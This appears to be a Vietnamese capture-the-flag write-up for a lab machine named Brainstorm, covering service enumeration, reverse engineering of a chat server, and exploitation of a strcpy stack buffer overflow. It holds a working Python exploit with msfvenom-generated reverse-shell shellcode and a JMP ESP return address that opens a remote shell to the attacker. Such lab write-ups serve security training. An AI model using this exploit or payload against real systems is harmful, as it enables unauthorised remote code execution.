Brainstorm

Vietnamese version

Enumeration

└─$ nmap -sC -sV -Pn 10.10.143.81             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-01 11:58 EST
Stats: 0:02:43 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 12:02 (0:01:14 remaining)
Nmap scan report for 10.10.143.81 (10.10.143.81)
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|_  SYST: Windows_NT
3389/tcp open  tcpwrapped
|_ssl-date: 2025-03-01T17:01:44+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: BRAINSTORM
|   NetBIOS_Domain_Name: BRAINSTORM
|   NetBIOS_Computer_Name: BRAINSTORM
|   DNS_Domain_Name: brainstorm
|   DNS_Computer_Name: brainstorm
|   Product_Version: 6.1.7601
|_  System_Time: 2025-03-01T17:01:13+00:00
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2025-02-28T15:30:13
|_Not valid after:  2025-08-30T15:30:13
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.95%I=7%D=3/1%Time=67C33CBA%P=x86_64-pc-linux-gnu%r(NUL
SF:L,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\
SF:x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequest,
SF:63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x2
SF:0your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20mess
SF:age:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(b
SF:eta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters
SF:\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x20
SF:to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20userna
SF:me\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Ja
SF:vaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20en
SF:ter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x
SF:20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20chat
SF:\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20cha
SF:racters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x2
SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern
SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(R
SF:PCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20
SF:enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a
SF:\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainsto
SF:rm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2
SF:020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusRequest
SF:TCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20
SF:message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta
SF:\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):
SF:\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x20B
SF:rainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\
SF:(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(TerminalS
SF:erverCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease
SF:\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\
SF:x20a\x20message:\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.74 seconds

Bạn có thể thấy trên Target đang có 3 port mở. Trong đó:

21/tcp open ftp Microsoft ftpd
3389/tcp open tcpwrapped
9999/tcp open abyss?

Trong đó ftp có thể login bằng account Anonymous

Sử dụng Acc anonymous để login:

Trên Server có 2 file sau:

Sử dụng command binary trước khi get nó về để tệp sẽ không bị hỏng khi truyền tệp qua FTP.

Trong đó:

1 File EXE chịu trách nhiệm chính cho service chạy tại port 9999 và load dll lên
1 File dll sử dụng để contain các chức năng cần thiết của program.

Exploit

Sau khi đã xác định được service có thể bị tấn công. Tôi sẽ recon nó vài thứ như sau:

Kết nối đến service ta nhận thấy đây là 1 service chat message. Bây giờ tôi sẽ đáp vào IDA để dịch ngược:

Đây chính là logic của chương trình:

char *__userpurge ConnectionHandler@<eax>(int a1@<eax>, LPVOID lpThreadParameter)
{
    void *v2; // esp
    int Error; // eax
    char *name_ptr; // eax
    int v5; // ebx
    char *v6; // eax
    char *time; // eax
    int len_out; // eax
    int v9; // ebx
    char *v10; // eax
    int v11; // eax
    char output[4196]; // [esp+24h] [ebp-10A4h] BYREF
    __time32_t Time; // [esp+1088h] [ebp-40h] BYREF
    char Name[21]; // [esp+108Fh] [ebp-39h] BYREF
    struct tm *Tm; // [esp+10A4h] [ebp-24h]
    int v16; // [esp+10A8h] [ebp-20h]
    char *v17; // [esp+10ACh] [ebp-1Ch]
    SOCKET s; // [esp+10B0h] [ebp-18h]
    char *buffer; // [esp+10B4h] [ebp-14h]
    int len; // [esp+10B8h] [ebp-10h]
    int v21; // [esp+10BCh] [ebp-Ch]

    v2 = alloca(a1);
    len = 4096;
    buffer = malloc(4096u);
    memset(buffer, 0, 4096u);
    s = lpThreadParameter;
    send(lpThreadParameter, "Welcome to Brainstorm chat (beta)\n", 0x21, 0);
    v17 = send(lpThreadParameter, "\nPlease enter your username (max 20 characters): \n", 0x31, 0);
    if ( v17 == 0xFFFFFFFF )
    {
        Error = WSAGetLastError();
        PrintWinsockError(Error);
        closesocket(s);
        return 1;
    }
    else
    {
        v21 = 0;
        name_ptr = memset(Name, 0, sizeof(Name));
        while ( lpThreadParameter )
        {
            v16 = recv(s, buffer, len, 0);
            if ( v16 <= 0 )
            {
                if ( v16 )
                {
                    v11 = WSAGetLastError();
                    PrintWinsockError(v11);
                    closesocket(s);
                    return 1;
                }
                else
                {
                    v9 = htons(*ClientIP.sa_data);
                    v10 = inet_ntoa(*&ClientIP.sa_data[2]);
                    printf("Client %s:%u closed connection.\n", v10, v9);
                    closesocket(s);
                    return 0;
                }
            }

            if ( v21 == 1 )
            {
                Overflow(buffer);
                ::time(&Time);
                Tm = localtime(&Time);
                time = asctime(Tm);
                sprintf(output, "\n\n%s%s said: %s\n\nWrite a message:  ", time, Name, buffer);
                len_out = strlen(output);
                v17 = send(s, output, len_out, 0);
                name_ptr = memset(buffer, 0, 0x1000u);
            }
            else
            {
                strncat(Name, buffer, 21u);
                Name[strlen(Name) - 1] = 0;
                v21 = 1;
                memset(buffer, 0, 0x1000u);
                v5 = htons(*ClientIP.sa_data);
                v6 = inet_ntoa(*&ClientIP.sa_data[2]);
                printf("Client %s:%u selected username: %s\n", v6, v5, Name);
                name_ptr = send(s, "Write a message: ", 0x11, 0);
                v17 = name_ptr;
            }
        }
    }

    return name_ptr;
}

Hàm Overflow:

char *__cdecl Overflow(char *Source)
{
    char Destination[2008]; // [esp+10h] [ebp-7D8h] BYREF

    return strcpy(Destination, Source);
}

Sau khi gửi payload sau

from pwn import *

# Connect to the server
r = remote('192.168.160.129', 9999)

payload = b'A' * 2008
payload += cyclic(200)
r.sendlineafter(b"characters): ", b"Kinabler")
r.sendlineafter(b"message: ", payload)
r.interactive()

tôi nhận được thông báo lỗi:

Opcode của JMP ESP là FF E4:

Search > sequence of bytes:

Đây là tất cả các gadget JMP ESP mà thư viện essfunc.dll có:

Sau khi JMP ESP, chương trình sẽ thực thi đoạn mã trong stack mà ta có quyền điều khuyển:

Tạo shellcode với payload sau:

msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=9001  EXITFUNC=thread -b "\x00"  -f py -v shellcode

Áp dụng nó ta sẽ có payload cuối cùng như sau:

from pwn import *

# Connect to the server
r = remote('192.168.160.129', 9999)

shellcode =  b""
shellcode += b"\xd9\xeb\xd9\x74\x24\xf4\xbb\xa1\x49\x0a\x33"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x5a\x17\x83\xea\xfc"
shellcode += b"\x03\xfb\x5a\xe8\xc6\x07\xb4\x6e\x28\xf7\x45"
shellcode += b"\x0f\xa0\x12\x74\x0f\xd6\x57\x27\xbf\x9c\x35"
shellcode += b"\xc4\x34\xf0\xad\x5f\x38\xdd\xc2\xe8\xf7\x3b"
shellcode += b"\xed\xe9\xa4\x78\x6c\x6a\xb7\xac\x4e\x53\x78"
shellcode += b"\xa1\x8f\x94\x65\x48\xdd\x4d\xe1\xff\xf1\xfa"
shellcode += b"\xbf\xc3\x7a\xb0\x2e\x44\x9f\x01\x50\x65\x0e"
shellcode += b"\x19\x0b\xa5\xb1\xce\x27\xec\xa9\x13\x0d\xa6"
shellcode += b"\x42\xe7\xf9\x39\x82\x39\x01\x95\xeb\xf5\xf0"
shellcode += b"\xe7\x2c\x31\xeb\x9d\x44\x41\x96\xa5\x93\x3b"
shellcode += b"\x4c\x23\x07\x9b\x07\x93\xe3\x1d\xcb\x42\x60"
shellcode += b"\x11\xa0\x01\x2e\x36\x37\xc5\x45\x42\xbc\xe8"
shellcode += b"\x89\xc2\x86\xce\x0d\x8e\x5d\x6e\x14\x6a\x33"
shellcode += b"\x8f\x46\xd5\xec\x35\x0d\xf8\xf9\x47\x4c\x95"
shellcode += b"\xce\x65\x6e\x65\x59\xfd\x1d\x57\xc6\x55\x89"
shellcode += b"\xdb\x8f\x73\x4e\x1b\xba\xc4\xc0\xe2\x45\x35"
shellcode += b"\xc9\x20\x11\x65\x61\x80\x1a\xee\x71\x2d\xcf"
shellcode += b"\xa1\x21\x81\xa0\x01\x91\x61\x11\xea\xfb\x6d"
shellcode += b"\x4e\x0a\x04\xa4\xe7\xa1\xff\x2f\xc8\x9e\x5f"
shellcode += b"\x2f\xa0\xdc\x9f\x13\x18\x68\x79\x39\x4a\x3c"
shellcode += b"\xd2\xd6\xf3\x65\xa8\x47\xfb\xb3\xd5\x48\x77"
shellcode += b"\x30\x2a\x06\x70\x3d\x38\xff\x70\x08\x62\x56"
shellcode += b"\x8e\xa6\x0a\x34\x1d\x2d\xca\x33\x3e\xfa\x9d"
shellcode += b"\x14\xf0\xf3\x4b\x89\xab\xad\x69\x50\x2d\x95"
shellcode += b"\x29\x8f\x8e\x18\xb0\x42\xaa\x3e\xa2\x9a\x33"
shellcode += b"\x7b\x96\x72\x62\xd5\x40\x35\xdc\x97\x3a\xef"
shellcode += b"\xb3\x71\xaa\x76\xf8\x41\xac\x76\xd5\x37\x50"
shellcode += b"\xc6\x80\x01\x6f\xe7\x44\x86\x08\x15\xf5\x69"
shellcode += b"\xc3\x9d\x15\x88\xc1\xeb\xbd\x15\x80\x51\xa0"
shellcode += b"\xa5\x7f\x95\xdd\x25\x75\x66\x1a\x35\xfc\x63"
shellcode += b"\x66\xf1\xed\x19\xf7\x94\x11\x8d\xf8\xbc"


bad_chars = bytearray(range(1,256))

JMP_ESP = 0x625014DF

payload = b'A' * 2008
payload += b"\x90" * 4
payload += p32(JMP_ESP)
payload += b"\x90" * 20
payload += shellcode

r.sendlineafter(b"characters): ", b"Kinabler")
r.sendlineafter(b"message: ", payload)
r.interactive()